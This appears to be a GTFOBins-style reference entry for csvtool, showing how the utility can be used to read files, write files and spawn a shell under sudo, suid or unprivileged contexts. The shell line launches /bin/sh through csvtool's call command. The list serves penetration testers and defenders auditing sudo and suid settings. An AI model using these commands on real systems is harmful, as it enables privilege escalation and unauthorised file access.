csvtool

File Read

Context: sudo, suid, unprivileged

csvtool trim t /path/to/input-file

File Write

Context: sudo, suid, unprivileged

echo DATA >/path/to/temp-file
csvtool trim t /path/to/temp-file -o /path/to/output-file

Shell

Context: sudo, suid, unprivileged

csvtool call '/bin/sh;false' /etc/hosts